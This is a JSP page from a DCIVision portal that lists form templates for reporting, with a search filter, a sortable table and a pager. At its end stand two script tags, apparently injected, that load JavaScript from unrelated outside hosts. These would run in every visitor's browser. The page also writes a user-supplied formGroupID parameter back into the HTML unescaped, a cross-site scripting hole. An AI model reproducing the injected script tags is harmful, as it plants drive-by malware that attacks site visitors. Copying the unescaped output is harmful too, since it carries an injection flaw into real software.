<%
/*
 * @(#)ListFormReport.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormReport.jsp

  This is a ListFormReport page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      16/01/2003
    @version            $Revision: 1.24.2.14 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormRecordForm" scope="request" class="com.dcivision.form.web.ListFormRecordForm"/>
<%
  if (!Utility.isEmpty(request.getParameter("formGroupID"))) {
    session.setAttribute("formGroupID",request.getParameter("formGroupID"));
  }
  FormGroup formGroup = (FormGroup)request.getAttribute("formGroup");
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "releasedFormList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                {"form.columnheader.title", "TITLE"},
                            {"form.columnheader.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.form_type","FORM_TYPE"},
                            /*{"form.columnheader.description", "DESCRIPTION"},*///BUG-1094
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.columnheader.title", "TITLE"}
                          };

  int     COLUMN_OFFSET = 0;

  List listFormSubmission = (List) request.getAttribute(ListFormReportAction.VAR_FORM_SUBMISSION_LIST);
  List listActiveSubmission = (List) request.getAttribute(ListFormReportAction.VAR_ACTIVE_SUBMISSION_LIST);
  String returnURL="ListFormSetup.do?function=FORM_REPORT&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<script language="Javascript">
<!--
function OpListCustReset(frm) {
  //frm.searchFormType[2].checked=true;
  OpListReset(frm);
  return false;
}
-->

</script>

<!-- Form Section Begin -->
<html:form action="form/ListFormReport" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="formGroupID" value='<%=session.getAttribute("formGroupID")%>'/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<%=formGroup.getGroupName()%>]</font><layout:returnButton>ListFormSetup.do?function=FORM_REPORT&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></layout:titleFormat>--%>
<!-- Page Title Section End -->

<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
    </div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap >
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return OpList(listFormRecordForm, '${listFormRecordForm.sortAttribute}', '${listFormRecordForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListCustReset(listFormRecordForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormRecordForm.getSortAttribute()%>" sortOrder="<%=listFormRecordForm.getSortOrder()%>" checkColumn='false' editLabel='form.label.view_usage' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formRecord).getID()%>);">
    <td align="center">
      <logic:permission right='R'>
      <a href="ListFormReportSummary.do?isViewDatePicker=true&reportType=GENERALREPORT&navMode=L&formRecordID=<bean:write name='formRecord' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      pageContext.setAttribute("activeRecordCount", (Integer)listActiveSubmission.get(rowCount));
    %>
    <td><bean:write name='formRecord' property='title'/>
    (<bean:write name='activeRecordCount'/>)
    </td>
    <td><bean:write name='formRecord' property='formCode'/></td>
    <td><bean:write name='formRecord' property='formVersion'/></td>
    <td>
      <bean:message key="form.label.form_type_html"/>
    </td>
    <!--<td><bean:write name='formRecord' property='description'/></td>-->
    <!--<td><bean:write name='formRecord' property='formCategory'/></td>-->
    <td class="bodyVerySmall" nowrap><bean:write name='formRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='formRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormRecordForm" name='<%=LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
<!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>